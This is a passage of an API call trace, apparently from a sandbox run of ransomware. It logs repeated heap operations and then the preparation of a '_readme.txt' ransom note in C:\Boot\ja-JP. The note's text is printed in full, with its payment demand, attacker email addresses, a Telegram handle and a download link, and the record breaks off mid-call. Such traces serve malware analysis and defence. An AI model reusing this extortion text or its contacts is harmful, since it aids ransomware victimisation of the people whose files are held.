1 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.307] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.308] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.312] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.312] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.312] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.312] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0266.312] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.312] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.312] PathFindFileNameW (pszPath="") returned="" [0266.312] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.313] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.313] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.313] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.313] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.313] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.313] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.313] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0266.313] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.313] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.313] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0266.314] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.314] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.314] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.314] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.314] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.314] RtlAllocateHeap (HeapHandle=0x640000, 